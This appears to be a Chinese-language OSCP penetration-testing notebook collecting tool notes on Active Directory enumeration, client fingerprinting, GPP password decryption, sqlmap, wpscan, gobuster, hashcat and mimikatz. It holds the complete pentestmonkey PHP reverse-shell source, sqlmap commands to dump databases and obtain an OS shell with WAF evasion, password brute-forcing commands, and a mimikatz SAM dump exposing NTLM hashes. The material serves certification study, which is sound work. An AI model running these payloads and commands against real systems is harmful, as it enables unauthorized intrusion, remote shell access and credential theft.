左側的地圖顯示了受害者的地理位置。我們可以點擊條目以獲取更多信息。

image-1700373731219.png

詳細視圖的上半部分提供了有關受害者位置的信息,並嘗試確定組織名稱。還顯示了受害者瀏覽器發送的用戶代理。從用戶代理本身,我們可以推斷目標的操作系統和瀏覽器。但是,用戶代理可以被修改,並且並非始終可靠的信息來源。

在這個例子中,受害者的用戶代理暗示他們在64位的Windows 10系統上使用Chrome瀏覽器。我們還可以使用在線用戶代理解析器,解釋用戶代理並為我們提供更易讀的結果。

讓我們滾動到瀏覽器區域。

image-1700373777345.png

圖10向我們顯示了有關受害者瀏覽器的其他信息。這些信息不來自用戶代理,而是來自嵌入在Canarytoken網頁中的JavaScript指紋識別代碼。這些信息比用戶代理的信息更精確可靠。這再次表明目標正在Windows上運行Chrome。

Canarytoken服務還提供其他指紋識別技術。讓我們返回到Canarytokens的主頁,討論這些技術。

 

image-1700373828436.png

下拉菜單提供了在Word文檔或PDF文件中嵌入Canarytoken的選項,這將使我們在受害者打開文件時獲得信息。此外,我們還可以將其嵌入到圖像中,這將在圖像被查看時通知我們。

我們還可以使用像Grabify这樣的在線IP日誌記錄器,或者使用JavaScript指紋識別庫,如fingerprint.js。

在這一節中,我們展示了一種有效的指紋識別技術,揭示了有關目標系統的關鍵信息。這是客戶端攻擊的關鍵第一步。雖然我們的目標是確定目標是否運行Windows,並啟用了Internet Explorer或Microsoft Edge,但我們只能確定受害者在Windows上運行Chrome。在這種情況下,我們應該使用不同的客戶端攻擊向量,或者更改我們的前設,例如建議該截圖只能在Internet Explorer或Microsoft Edge中查看。

 

  參考:

https://bookstack.treemanou.com/books/treemanoscp/page/ch11-client-side-attacks#bkmrk-11.1.2-client-finger



[Day 12] 30天蜜罐品嘗 : 蜜罐非罐之四 Canarytoken

若是想設置自己的canarytoken伺服器,可以參考以下github連結
https://github.com/thinkst/canarytokens

他們也有自己開源的模組化honeypot,安裝後只需要改變設定便可以在同一台honeypot上模擬Linux Web Server, Windows Server MySQL Server 和MSSQL Server,可以參考以下連結
https://github.com/thinkst/opencanary

 

【OSCP】Tools

【AD】【列舉】PowerView.ps1

下載:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

教學:

https://bookstack.treemanou.com/books/treemanoscp/page/ch21-active-directory-introduction-and-enumeration#bkmrk-21.3-manual-enumerat

Get-NetComputer

##############################################
# 載入記憶體
PS C:\Tools> Import-Module .\PowerView.ps1

##############################################
# 提供有關域的基本信息
PS C:\Tools> Get-NetDomain

Forest                  : corp.com
DomainControllers       : {DC1.corp.com}
Children                : {}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  :
PdcRoleOwner            : DC1.corp.com
RidRoleOwner            : DC1.corp.com
InfrastructureRoleOwner : DC1.corp.com
Name                    : corp.com

##############################################
# 獲取域中所有用戶的列表
PS C:\Tools> Get-NetUser

logoncount             : 113
iscriticalsystemobject : True
description            : Built-in account for administering the computer/domain
distinguishedname      : CN=Administrator,CN=Users,DC=corp,DC=com
objectclass            : {top, person, organizationalPerson, user}
lastlogontimestamp     : 9/13/2022 1:03:47 AM
name                   : Administrator
##############################################
# 獲取域中所有用戶的列表
PS C:\Tools> Get-NetUser | select cn,pwdlastset,lastlogon

cn            pwdlastset            lastlogon
--            ----------            ---------
Administrator 8/16/2022 5:27:22 PM  9/14/2022 2:37:15 AM
Guest         12/31/1600 4:00:00 PM 12/31/1600 4:00:00 PM
krbtgt        9/2/2022 4:10:48 PM   12/31/1600 4:00:00 PM
dave          9/7/2022 9:54:57 AM   9/14/2022 2:57:28 AM
stephanie     9/2/2022 4:23:38 PM   12/31/1600 4:00:00 PM

PS C:\Tools> Get-NetUser -SPN | select samaccountname,serviceprincipalname

samaccountname serviceprincipalname
-------------- --------------------
krbtgt         kadmin/changepw
iis_service    {HTTP/web04.corp.com, HTTP/web04, HTTP/web04.corp.com:80}

##############################################
# 列舉群組
PS C:\Tools> Get-NetGroup | select cn

cn
--
...
Key Admins

##############################################
# 列舉群組("Sales Department")
PS C:\Tools> Get-NetGroup "Sales Department" | select member

member
------
{CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,
DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}

##############################################
# 搜索操作系統和主機名
PS C:\Tools> Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion

dnshostname       operatingsystem              operatingsystemversion
-----------       ---------------              ----------------------
DC1.corp.com      Windows Server 2022 Standard 10.0 (20348)
web04.corp.com    Windows Server 2022 Standard 10.0 (20348)
FILES04.corp.com  Windows Server 2022 Standard 10.0 (20348)
client74.corp.com Windows 11 Pro               10.0 (22000)
client75.corp.com Windows 11 Pro               10.0 (22000)
CLIENT76.corp.com Windows 10 Pro               10.0 (16299)

##############################################
# 掃描網絡,試圖確定我們當前用戶是否在域中的任何計算機上具有管理權限
PS C:\Tools> Find-LocalAdminAccess
client74.corp.com

##############################################
# 查找域中的一些機器,看看我們是否能找到任何已登錄的用戶
# 失敗
PS C:\Tools> Get-NetSession -ComputerName web04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied
# 成功
PS C:\Tools> Get-NetSession -ComputerName client74
CName        : \\192.168.50.75
UserName     : stephanie
Time         : 8
IdleTime     : 0
ComputerName : client74

##############################################
# 查找域中的共享
PS C:\Tools> Find-DomainShare

Name           Type Remark                 ComputerName
----           ---- ------                 ------------
ADMIN$   2147483648 Remote Admin           DC1.corp.com
C$       2147483648 Default share          DC1.corp.com
IPC$     2147483651 Remote IPC             DC1.corp.com

PowerView中使用Get-ObjectAcl來列舉ACE(Access Control Entry)是一種強大的方法,它允許我們查看特定對象的許可權設置。在你的命令中,你正在尋找你自己的用戶帳戶(Identity)的ACE。

讓我們運行下面的命令,看看你自己的帳戶有哪些ACE:

# Get-ObjectAcl -Identity {username}
PS C:\Tools> Get-ObjectAcl -Identity stephanie

image-1702297512890.png

輸出的量可能看似龐大,因為我們列舉了每一個授予或拒絕對 Stephanie 某種權限的 ACE。雖然有許多屬性似乎可能有用,但我們主要關心的是在清單 58 的截斷輸出中突顯的那些。

輸出列舉了兩個安全標識符(SID),這是代表 AD 中對象的 5 個唯一值。第一個(位於突顯的 ObjectSID 屬性中)包含值 "S-1-5-21-1987370270-658905905-1781884369-1104",這相當難以閱讀。為了理解這個 SID,我們可以使用 PowerView 的 Convert-SidToName 命令將其轉換為實際的網域對象名稱:

PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104

image-1702297724313.png

轉換顯示,ObjectSID 屬性中的 SID 屬於我們目前使用的 stephanie 使用者。ActiveDirectoryRights 屬性描述了應用於對象的權限類型。為了找出在這種情況下誰具有 ReadProperty 權限,我們需要將 SecurityIdentifier 的值進行轉換。

讓我們使用 PowerView 將其轉換為一個可讀的名稱:

image-1702297775442.png

根據 PowerView,SecurityIdentifier 屬性中的 SID 屬於一個名為 RAS and IAS Servers 的預設 AD 群組。


 

PS C:\Tools> Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

image-1702297864440.png

在這個情況下,我們有總共五個對象對 Management Department 對象擁有 GenericAll 權限。為了理解這一點,讓我們將所有的 SID 轉換成實際的名稱:

PS C:\Tools> "S-1-5-21-1987370270-658905905-1781884369-512"
,"S-1-5-21-1987370270-658905905-1781884369-1104"
,"S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" 
| Convert-SidToName

image-1702297933379.png

【OSCP】Tools

【AD】【列舉】PsLoggedOn

讓我們嘗試對之前嘗試列舉的計算機運行PsLoggedOn,首先是FILES04和WEB04。 PsLoggedOn位於CLIENT75的C:\Tools\PSTools目錄中。要使用它,我們只需將它與目標主機名一起運行:

image-1702296691910.png

運行這個命令,以查看WEB04上已登錄的用戶信息。 PsLoggedOn將返回登錄到這個計算機上的用戶列表。

image-1702296765555.png

運行這個命令,以查看CLIENT74上已登錄的用戶信息。 PsLoggedOn將返回登錄到這個計算機上的用戶列表。由於我們在CLIENT74啟用了Remote Registry服務,我們應該能夠成功列舉用戶會話。

image-1702296807909.png

看起來jeffadmin在CLIENT74上有一個開啟的會話,輸出顯示了一些非常有趣的信息。如果我們的枚舉是準確的,並且我們實際上在CLIENT74上擁有管理特權,我們應該能夠登錄並可能竊取jeffadmin的憑據

【OSCP】Tools

【AD】【列舉】Get-Acl

我們將使用PowerShell的Get-Acl cmdlet。這個命令本質上將檢索我們使用 -Path 標誌定義的對象的權限並將它們打印在我們的PowerShell提示中。

PS C:\Tools> Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl

image-1702296466763.png

在清單中突出顯示的輸出顯示了擁有FullControl或ReadKey權限的組和用戶,這意味著它們都可以讀取SrvsvcSessionInfo密鑰本身

【OSCP】Tools

【AD】net

 

# 使用者加入 group
# net group {group name} {username} /add /domain
PS C:\Tools> net group "Management Department" stephanie /add /domain
【OSCP】Tools

【AD】【解碼】gpp-decrypt

我們找到一個名為 old-policy-backup.xml 的文件:

image-1702298601792.png

由於文件夾的命名和文件本身的名稱,看起來這是一個較舊的域策略文件。這是域共享上的一個常見遺物,因為系統管理員在實施新政策時經常忘記它們。在這種情況下,XML 文件描述了一個舊的策略(有助於了解當前的策略)和內建 Administrator 帳戶的一個加密密碼。對於我們來說,這個加密的密碼可能非常有價值。

從歷史上看,系統管理員通常通過組策略首選項(GPP)更改本地工作站密碼。

然而,即使使用 AES-256 加密存儲的 GPP 密碼,加密的私鑰已經在 MSDN 上公開。我們可以使用這個密鑰解密這些加密的密碼。在這個情況下,我們將在 Kali Linux 中使用 gpp-decrypt 的 ruby 腳本,該腳本解密給定的 GPP 加密字符串:

kali@kali:~$ gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

image-1702298765184.png

【OSCP】Tools

【AD】【列舉】SharpHound

https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1

SharpHound 有幾種不同的格式可用。我們可以自己編譯它,使用已經編譯好的可執行文件,或者將其用作 PowerShell 腳本。在我們的情況下,我們將使用位於 CLIENT75 的 C:\Tools 中的 PowerShell 腳本。首先,讓我們打開一個 PowerShell 窗口並將腳本載入內存:

PS C:\Tools> Import-Module .\Sharphound.ps1

SharpHound 已經載入,現在我們可以開始收集域數據。然而,為了運行 SharpHound,我們首先必須運行 Invoke-BloodHound。這並不直觀,因為在這個階段我們只運行 SharpHound。讓我們調用 Get-Help 來了解有關此命令的更多信息。

PS C:\Tools> Get-Help Invoke-BloodHound

image-1702299210888.png

我們將從 -CollectionMethod 開始,該參數描述了各種收集方法。在我們的情況下,我們將嘗試收集所有數據,這將執行除了本地組策略之外的所有收集方法。

默認情況下,SharpHound 將以 JSON 文件的形式收集數據並自動將其壓縮為 ZIP 文件。這使我們能夠輕鬆將文件傳輸到稍後的 Kali Linux。我們將保存這個輸出文件到桌面上,帶有如下的 "corp audit" 前綴:


Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephanie\Desktop\ -OutputPrefix "corp audit"

PS C:\Tools> Invoke-BloodHound -CollectionMethod All -OutputDirectory 
C:\Users\stephanie\Desktop\ -OutputPrefix "corp audit"

請注意,數據收集可能需要一些時間才能完成,這取決於我們正在列舉的環境的大小。讓我們檢查 SharpHound 的輸出:

image-1702299310706.png

根據清單 78 中的輸出,我們總共掃描了 106 個對象。這顯然會根據域中存在多少對象和會話而變化。

在這種情況下,SharpHound 實際上是從 stephanie 使用者那裡對域進行了一個快照,我們應該能夠分析使用者帳戶有權訪問的所有內容。收集的數據存儲在我們桌面上的 ZIP 文件中:

image-1702299351716.png

 

【OSCP】Tools

【列舉】wpscan

WPScan 是一款用於檢測 WordPress 網站安全性的開源工具。以下是一些常見的指令用法的繁體中文說明。請注意,WPScan 的命令行參數和選項可能會因版本而略有變化,建議在使用時查閱最新的官方文件。

# -enumerate p 掃描 WordPress 核心、插件和主題的漏洞:
# --plugins-detection aggressive 以詳細模式運行掃描
# -o websrv1/wpscan #output file

wpscan --enumerate p --plugins-detection aggressive -o wpscan.log \
--url http://192.168.50.244 
# 1. **基本掃描:**
# - 掃描一個 WordPress 網站:
wpscan --url http://example.com

# 2. **插件和主題掃描:**
#- 掃描所有插件:
wpscan --url http://example.com --enumerate p
#- 掃描所有主題:
wpscan --url http://example.com --enumerate t


# 3. **使用者枚舉:**
# - 嘗試枚舉使用者:
wpscan --url http://example.com --enumerate u

# 4. **密碼破解:**
# - 使用使用者名稱進行密碼破解:
wpscan --url http://example.com --passwords wordlist.txt --username admin

# 5. **漏洞掃描:**
# - 掃描 WordPress 核心、插件和主題的漏洞:
wpscan --url http://example.com --enumerate vp

# 6. **更多選項:**
#- 以詳細模式運行掃描:
wpscan --url http://example.com --enumerate vp --log wpscan.log
# - 顯示所有掃描選項:
wpscan --help

 

 

 

【OSCP】Tools

【SQL Injection】sqlmap

 

kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user

# 傾卸整個數據庫,包括用戶憑據 --dump
kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump

#  -r 參數調用 sqlmap,並將包含 POST 請求的文件作為參數
kali@kali:~$ sqlmap -r post.txt -p item  --os-shell  --web-root "/var/www/html/tmp"

# 獲取資料庫
sqlmap -u "URL" --dbs

# 獲取資料庫所有 table
sqlmap -u "URL" -D database --tables

# 獲取指定 table 之欄位
sqlmap -u "URL" -D database -T table --columns

# 獲取指定 table 之指定欄位資料
sqlmap -u "URL" -D database -T table -C field1,field2 --dump

# 使用隨機選擇的 HTTP User-Agent 標頭值,用於繞過 WAF
--random-agent

# 指定注入參數
-p par1,par2

# 跳過注入參數
--skip par1,par2

# 指定注入技術,不使用此參數,預設就是全測,有 BEUSTQ
# B = boolean-based
# E = error-based
# U = union-based
# S = stacked-queries
# T = time-based
# Q = inline-queries
--technique BEQU

# 指定 union select 的 column 列數
# 可以手動 fuzzing 出來指定
--union-cols 5

# 顯示注入過程詳細,數字越大越細,(0~6,預設是1,常用是3)
# 使用情境通常發生在fuzzing時的注入
-v 3

# 指定後端資料庫類型
# 中間有空格要使用雙引號,如:"Microsoft Access"
--dbms "mysql"

# 獲取RCE
--os-shell

# 自動模式,自動選取默認預設選項
--batch

# 跳過防火牆檢測測試
--skip-waf
【OSCP】Tools

【file】【列舉】

ExifTool 是一個用於讀取、編輯和寫入影像、音頻和視頻文件的元數據(metadata)的命令行工具。它由Phil Harvey開發,支援多種檔案格式,包括JPEG、TIFF、PNG、PDF、MP3、AVI等。ExifTool 廣泛應用在數位相機、手機、數位媒體軟體以及數位取證等領域。

# -a 顯示重複的標籤
# -u 顯示未知的標籤
kali@kali:~/Downloads$ exiftool -a -u brochure.pdf 
ExifTool Version Number         : 12.41
File Name                       : brochure.pdf
Directory                       : .
File Size                       : 303 KiB
File Modification Date/Time     : 2022:04:27 03:27:39-04:00
File Access Date/Time           : 2022:04:28 07:56:58-04:00
File Inode Change Date/Time     : 2022:04:28 07:56:58-04:00
File Permissions                : -rw-------
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.7
Linearized                      : No
Page Count                      : 4
Language                        : en-US
Tagged PDF                      : Yes
XMP Toolkit                     : Image::ExifTool 12.41
Creator                         : Stanley Yelnats
Title                           : Mountain Vegetables
Author                          : Stanley Yelnats
Producer                        : Microsoft® PowerPoint® for Microsoft 365
Create Date                     : 2022:04:27 07:34:01+02:00
Creator Tool                    : Microsoft® PowerPoint® for Microsoft 365
Modify Date                     : 2022:04:27 07:34:01+02:00
Document ID                     : uuid:B6ED3771-D165-4BD4-99C9-A15FA9C3A3CF
Instance ID                     : uuid:B6ED3771-D165-4BD4-99C9-A15FA9C3A3CF
Title                           : Mountain Vegetables
Author                          : Stanley Yelnats
Create Date                     : 2022:04:27 07:34:01+02:00
Modify Date                     : 2022:04:27 07:34:01+02:00
Producer                        : Microsoft® PowerPoint® for Microsoft 365
Creator                         : Stanley Yelnats
【OSCP】Tools

【Linux】【列舉】linpeas

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

`linpeas.sh` 是一個用於 Linux 系統的自動化信息搜集工具,特別是用於提取有關系統環境、配置和潛在安全問題的信息。該工具的全名是 "Linux Privilege Escalation Awesome Script",簡稱 linpeas。

以下是 linpeas.sh 的主要功能和用途:

1. **信息搜集**:linpeas.sh 會掃描系統,收集關於用戶、組、進程、網絡配置、文件權限等方面的信息。

2. **特權升級檢測**:該工具通常被用於檢測潛在的特權升級漏洞。它會尋找與系統特權升級有關的信息,例如 SUID、SGID 文件,可寫的配置文件,或者用戶可以執行的任何特權命令。

3. **漏洞檢測**:linpeas.sh 會檢查系統上是否存在已知的漏洞,這有助於確保系統的安全性。

4. **配置問題**:工具可以檢測系統中的配置問題,例如未限制的訪問權限、過多的開啟端口等。

使用 linpeas.sh 的基本步驟:

1. **下載腳本**:通常,您需要從 GitHub 或其他可信的源下載 linpeas.sh 腳本。

2. **授予執行權限**:在執行 linpeas.sh 之前,確保腳本有執行權限。您可以使用 `chmod +x linpeas.sh` 命令來授予執行權限。

3. **執行腳本**:運行 `./linpeas.sh` 以啟動信息搜集和分析過程。腳本會生成一個包含系統信息和可能的問題的報告。

4. **分析報告**:查看生成的報告,並根據其中的信息來進行進一步的調查和修復。

請注意,linpeas.sh 僅是安全測試和信息搜集的工具,應該僅在合法和授權的環境中使用。未經授權使用此類工具可能導致法律問題。

# /usr/share/peass/winpeas/winPEASx64.exe
sudo apt-get install peass
【OSCP】Tools

【web】【列舉】whatweb

 

# 安裝
sudo apt-get install whatweb

# whatweb {domain}
┌──(kali㉿kali)-[~]
└─$ whatweb www.example.com.tw                                                                                                                              
http://www.example.com.tw [200 OK] HTML5, HTTPServer[nginx], IP[185.53.178.50], Script[JavaScript,text/javascript], Title[example.com.tw], UncommonHeaders[x-buckets,x-adblock-key,x-template,x-language,accept-ch,accept-ch-lifetime,x-domain,x-subdomain], nginx

【OSCP】Tools

【web】【爆破】burpsuite

#啟動
kali@kali:~$ burpsuite

https://bookstack.treemanou.com/books/treemanoscp/page/ch8-introduction-to-web-application-attacks#bkmrk-%C2%A0-0

【OSCP】Tools

【web】【爆破】gobuster

 

# 安裝
sudo apt-get update
sudo apt-get install gobuster

# git hub
# https://github.com/OJ/gobuster
# 1. **基本目錄爆破:**
#   在目標網站進行基本的目錄爆破,使用默認的字典文件:
gobuster dir -u http://example.com -t 10

# 2. **指定字典文件:**
#   使用自定義的字典文件進行目錄爆破:
gobuster dir -u http://example.com -w /path/to/custom-wordlist.txt -t 10
   
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 

# 3. **多線程設置:**
#   設置併發線程數為 20:
gobuster dir -u http://example.com -w /path/to/wordlist.txt -t 20

# 4. **狀態碼過濾:**
#   過濾掉 HTTP 狀態碼為 404 的響應:
gobuster dir -u http://example.com -w /path/to/wordlist.txt -t 10 -s 404

# 5. **遞歸掃描:**
#   對找到的每個目錄進行遞歸掃描:
gobuster dir -u http://example.com -w /path/to/wordlist.txt -t 10 -r

# 6. **擴展名爆破:**
#   嘗試查找具有特定文件擴展名的文件:
# gobuster 
# --exclude-length 40182: 排除指定長度的響應。在此示例中,排除了長度為 40182 的響應。這有助於過濾掉一些不感興趣的目錄。
# -f: 在結果中顯示完整的 URL 路徑。使用此標誌,gobuster 將顯示完整的 URL 路徑,而不僅僅是相對路徑。
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirb/common.txt --exclude-length 40182 -f
gobuster dir -u http://offsecwp/ -w /usr/share/wordlists/dirb/common.txt --exclude-length 40182 -f -x php,jsp
gobuster dir -u http://example.com -w /path/to/wordlist.txt -t 10 -x php,txt

#7. **添加自定義 HTTP 頭:**
#   在請求中添加自定義的 HTTP 頭信息:
gobuster dir -u http://example.com -w /path/to/wordlist.txt -t 10 -H "Custom-Header: Value"

# 8. **URL 編碼啓用:**
#   啓用 URL 編碼以處理特殊字符:
gobuster dir -u http://example.com -w /path/to/wordlist.txt -t 10 -e

Gobuster 字典檔,一定要用對
/usr/share/wordlists/dirb/common.txt ← 起手式
/usr/share/wordlists/dirb/big.txt ← 進階
/usr/share/wordlists/dirbuster ← 最後階段(紅色字體),用完就不建議在嘗試,換方向

/usr/share/wordlists/diruster/
└─$ wc -l /usr/share/wordlists/dirb/common.txt
4614 /usr/share/wordlists/dirb/common.txt
└─$ wc -l /usr/share/wordlists/dirb/big.txt
20469 /usr/share/wordlists/dirb/big.txt
└─$ ls -al /usr/share/wordlists/dirbuster/
total 7584

-rw-r--r-- 1 root root 71638 Feb 27 2009 apache-user-enum-1.0.txt
-rw-r--r-- 1 root root 90418 Feb 27 2009 apache-user-enum-2.0.txt
-rw-r--r-- 1 root root 546618 Feb 27 2009 directories.jbrofuzz
-rw-r--r-- 1 root root 1802668 Feb 27 2009 directory-list-1.0.txt
-rw-r--r-- 1 root root 1980043 Feb 27 2009 directory-list-2.3-medium.txt
-rw-r--r-- 1 root root 725439 Feb 27 2009 directory-list-2.3-small.txt
-rw-r--r-- 1 root root 1849676 Feb 27 2009 directory-list-lowercase-2.3-medium.txt
-rw-r--r-- 1 root root 676768 Feb 27 2009 directory-list-lowercase-2.3-small.txt

【OSCP】Tools

【terminal】php-reverse-shell

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 


 

【OSCP】Tools

【web】【linux】【shell】curl

 

curl

#`--path-as-is` 是在使用 cURL 命令時的一個特殊參數,
# 它指示 cURL 將 URL 中的路徑部分視為原樣處理,而不進行百分比編碼(Percent-Encoding)。
# 當你使用 `--path-as-is` 參數時,cURL 不會對 URL 中的特殊字符進行轉義,而是直接使用原始的字符。
# 這在某些情況下可能很有用,特別是當你需要在 URL 中使用特殊字符而不希望 cURL 對它們進行轉義時。
# 在這個例子中,`--path-as-is` 參數告訴 cURL 不對 URL 中的特殊字符進行轉義。
# 這樣,`http://example.com/path/with/special@characters` 這個 URL 中的 `@` 字符就不會被轉換成 `%40`。
curl --path-as-is http://example.com/path/with/special@characters

 

請注意,`--path-as-is` 參數的支援取決於 cURL 的版本,確保你的 cURL 版本支援這個參數。你可以通過 `curl --version` 檢查你的 cURL 版本信息。

【OSCP】Tools

【sql】impacket-mssqlclient


impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
【OSCP】Tools

【SQL_injection】github

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-command-execution

【OSCP】Tools

【密碼】【破解】hashcat

https://hashcat.net/hashcat/

hashCode 範例 https://hashcat.net/wiki/doku.php?id=example_hashes

# 常用id
# Kerberos(AS-REP) 18200 
kali@kali:~$ hashcat --help | grep -i "Kerberos" 
  19600 | Kerberos 5, etype 17, TGS-REP                              | Network Protocol
  19800 | Kerberos 5, etype 17, Pre-Auth                             | Network Protocol
  28800 | Kerberos 5, etype 17, DB                                   | Network Protocol
  19700 | Kerberos 5, etype 18, TGS-REP                              | Network Protocol
  19900 | Kerberos 5, etype 18, Pre-Auth                             | Network Protocol
  28900 | Kerberos 5, etype 18, DB                                   | Network Protocol
   7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth                      | Network Protocol
  13100 | Kerberos 5, etype 23, TGS-REP                              | Network Protocol
  18200 | Kerberos 5, etype 23, AS-REP                               | Network Protocol


# ntlm 1000
kali@kali:~/passwordattacks$ hashcat --help | grep -i "ntlm" 
 5500 | NetNTLMv1 / NetNTLMv1+ESS                                  | Network Protocol
  27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)                             | Network Protocol
   5600 | NetNTLMv2                                                  | Network Protocol
  27100 | NetNTLMv2 (NT)                                             | Network Protocol
   1000 | NTLM                                                       | Operating System
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

656     {0;000003e7} 1 D 34811          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Primary
 -> Impersonated !
 * Process Token : {0;000413a0} 1 F 6146616     MARKETINGWK01\offsec    S-1-5-21-4264639230-2296035194-3358247000-1001  (14g,24p)       Primary
 * Thread Token  : {0;000003e7} 1 D 6217216     NT AUTHORITY\SYSTEM     S-1-5-18        (04g,21p)       Impersonation (Delegation)
 
mimikatz # lsadump::sam
Domain : MARKETINGWK01
SysKey : 2a0e15573f9ce6cdd6a1c62d222035d5
Local SID : S-1-5-21-4264639230-2296035194-3358247000
 
RID  : 000003e9 (1001)
User : offsec
  Hash NTLM: 2892d26cdf84d7a70e2eb3b9f05c425e
 
RID  : 000003ea (1002)
User : nelly
